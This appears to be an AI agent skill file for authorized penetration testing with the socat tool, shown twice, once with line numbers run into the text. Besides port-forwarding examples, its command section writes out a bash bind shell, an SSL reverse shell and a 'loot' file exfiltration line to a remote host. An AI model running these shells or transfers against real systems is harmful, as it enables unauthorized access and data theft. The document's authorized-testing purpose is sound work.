Socat
Purpose
Use this skill only when the rules of engagement explicitly permit relay or forwarding validation across named approved paths.
Phase Fit
- Primary: Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure
Use When
- Need to validate a relay or port-forward path.
- Need protocol or socket bridging in a controlled environment.
- Need a repeatable retest after segmentation or service hardening.
Avoid When
- Relay or forwarding behavior is not explicitly approved.
- Source or destination boundaries are unclear.
Inputs
- Approved source and destination hosts and ports
- Exact bridge direction and lifetime
- Logging and stop conditions
Procedure
- Limit the bridge to the minimum approved scope.
- Validate only the specific path question.
- Record the exact relay parameters used.
- Stop and tear down the relay immediately after validation.
- Preserve the same path details for retest.
Command Syntax
Replace sample hosts and ports with approved in-scope values.
# TCP port forward
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
# Forward HTTPS
socat TCP-LISTEN:8443,fork TCP:192.168.1.100:443
# Bind shell listener
socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# Connect to a socat shell
socat TCP:10.10.10.100:4444 -
# File transfer: send
socat -u FILE:/tmp/loot.txt TCP:10.10.10.1:4444
# File transfer: receive
socat -u TCP-LISTEN:4444,reuseaddr OPEN:/tmp/received.txt,creat
# SSL-encrypted shell listener
socat SSL-LISTEN:4444,cert=shell.pem,verify=0 EXEC:/bin/bash,pty,stderr,setsid
socat SSL:10.10.10.1:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid
Evidence to Capture
- Whether the approved relay path worked
- Exact source, destination, and socket parameters used
- Minimal proof needed for remediation
Safety Boundaries
- Use only with explicit written approval.
- Keep relays short-lived, narrow, and fully documented.
1---2name: socat3description: Use for tightly scoped socket relays, port forwarding, and protocol bridging during authorized pentests. Trigger on approved path testing, local-to-remote forwarding, and validating whether a named connectivity path can be bridged safely.4license: MIT5---67# Socat89## Purpose1011Use this skill only when the rules of engagement explicitly permit relay or forwarding validation across named approved paths.1213## Phase Fit1415- Primary: Validation and Controlled Impact Demonstration16- Secondary: Retest and Closure1718## Use When1920- Need to validate a relay or port-forward path.21- Need protocol or socket bridging in a controlled environment.22- Need a repeatable retest after segmentation or service hardening.2324## Avoid When2526- Relay or forwarding behavior is not explicitly approved.27- Source or destination boundaries are unclear.2829## Inputs3031- Approved source and destination hosts and ports32- Exact bridge direction and lifetime33- Logging and stop conditions3435## Procedure36371. Limit the bridge to the minimum approved scope.382. Validate only the specific path question.393. Record the exact relay parameters used.404. Stop and tear down the relay immediately after validation.415. Preserve the same path details for retest.4243## Command Syntax4445Replace sample hosts and ports with approved in-scope values.4647```bash48# TCP port forward49socat TCP-LISTEN:8080,fork TCP:192.168.1.100:805051# Forward HTTPS52socat TCP-LISTEN:8443,fork TCP:192.168.1.100:4435354# Bind shell listener55socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane5657# Connect to a socat shell58socat TCP:10.10.10.100:4444 -5960# File transfer: send61socat -u FILE:/tmp/loot.txt TCP:10.10.10.1:44446263# File transfer: receive64socat -u TCP-LISTEN:4444,reuseaddr OPEN:/tmp/received.txt,creat6566# SSL-encrypted shell listener67socat SSL-LISTEN:4444,cert=shell.pem,verify=0 EXEC:/bin/bash,pty,stderr,setsid68socat SSL:10.10.10.1:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid69```7071## Evidence to Capture7273- Whether the approved relay path worked74- Exact source, destination, and socket parameters used75- Minimal proof needed for remediation7677## Safety Boundaries7879- Use only with explicit written approval.80- Keep relays short-lived, narrow, and fully documented.